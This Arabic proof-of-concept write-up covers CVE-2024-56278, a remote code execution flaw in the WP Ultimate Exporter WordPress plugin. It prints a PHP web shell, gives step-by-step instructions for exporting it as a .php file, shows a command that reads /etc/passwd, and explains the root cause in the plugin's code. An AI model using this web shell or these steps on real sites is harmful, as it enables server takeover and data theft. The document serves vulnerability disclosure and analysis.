
إثبات مفهوم لاستغلال CVE-2024-56278، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة WP Ultimate Exporter الخاصة بووردبريس، مع عرض رفع ملف إلى قشرة ويب بلغة PHP.
إضافة ووردبريس
اسم المكوّن WP Ultimate Exporter
الإصدار القابل للاستغلال <= 2.9.1
معرّف المكوّن wp-ultimate-exporter
رابط المكوّن https://wordpress.org/plugins/wp-ultimate-exporter/
فئة الثغرة A4: تصميم غير آمن
نوع الثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE)
مسؤول (Administrator)
إضافة WP Ultimate Exporter هي إضافة مساعدة لإضافة WP Ultimate CSV Importer. تتيح هذه الإضافة تصدير جميع المنشورات والمنتجات والطلبات والمبالغ المستردة وبيانات المستخدمين بصيغ CSV وXLS وXML وJSON. عند التصدير، يتم إنشاء ملفات في مسار الرفع، وتقوم الإضافة فقط بتسليم محتويات تلك الملفات إلى المستخدمين.
في إصدارات إضافة WP Ultimate Exporter 2.9.1 وما دونها، عند طلب تصدير البيانات، إذا تم تعيين امتداد الملف في بيانات الطلب إلى PHP، يتم إنشاء ملف PHP في مسار الرفع. لذلك، إذا كانت محتويات الملف الذي تم إنشاؤه تحتوي على صيغة PHP، تحدث ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) حيث يتم تنفيذ صيغة PHP عند الوصول إلى ذلك الملف.
⚠️ نظرًا لأن إضافة 'WP Ultimate Exporter' هي إضافة مساعدة لإضافة 'WP Ultimate CSV Importer'، يجب تثبيت كلتا الإضافتين.
أنشئ منشورًا جديدًا باستخدام محرر الأكواد (اختصار لوحة المفاتيح: ⇧ ⌥ ⌘ M) بالمحتوى التالي:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
انتقل إلى تبويب 'Export' في إضافة WP Ultimate Exporter. يمكن الوصول إليه بالنقر على تبويب 'Export' في لوحة تحكم إضافة WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).
شغّل أداة بروكسي (مثل BurpSuite) لاعتراض حزم الطلبات، وتابع الخطوات التالية مع تفعيل خيار Intercept.
بعد ذلك، اختر 'Posts' من 'Select the module to Export Data' وتابع إلى الخطوة التالية.

Export File Name أدخل 'webshell'Advanced Settings اختر 'CSV'
/wp-admin/admin-ajax.php لتصدير البيانات. غيّر قيمة exp_type في بيانات الطلب من csv إلى php، ثم انقر على Forward.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd في شريط عنوان المتصفح لعرض محتويات ملف /etc/passwd على الخادم الذي تم تثبيت ووردبريس عليه. وهذا يوضح ثغرة RCE.
عند تصدير البيانات في إضافة WP Ultimate Exporter، يتم استدعاء دالة parseData في الملف /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php.
في هذه المرحلة، لا يتم إجراء أي تصفية على بيانات الطلب exp_type التي تحدد صيغة تصدير البيانات، ويتم إدراج القيمة مباشرة في متغير العضو $this->exportType.

بعد ذلك، يتم استدعاء دالة proceedExport لحفظ البيانات في ملف. في هذه المرحلة، عند تهيئة المتغير $file الذي يحدد مسار تخزين الملف، يتم أيضًا استخدام متغير العضو $this->exportType دون أي تصفية.

بعد ذلك، يتم تمرير مسار الملف المخزن في المتغير $file كوسيطة إلى دالة file_put_contents، وفي هذه المرحلة، يتم حفظ الملف مع تطبيق الامتداد المحدد في بيانات الطلب exp_type مباشرة.

لذلك، عندما يتم حفظ بيانات منشور تحتوي على كود Web Shell كملف PHP ويتم الوصول إلى ذلك الملف، تحدث ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) حيث يتم تنفيذ كود PHP.


ثم أدخل الأمر التالي لتنفيذ كود PoC.
الوحدة المطلوبةrequests
python poc.py
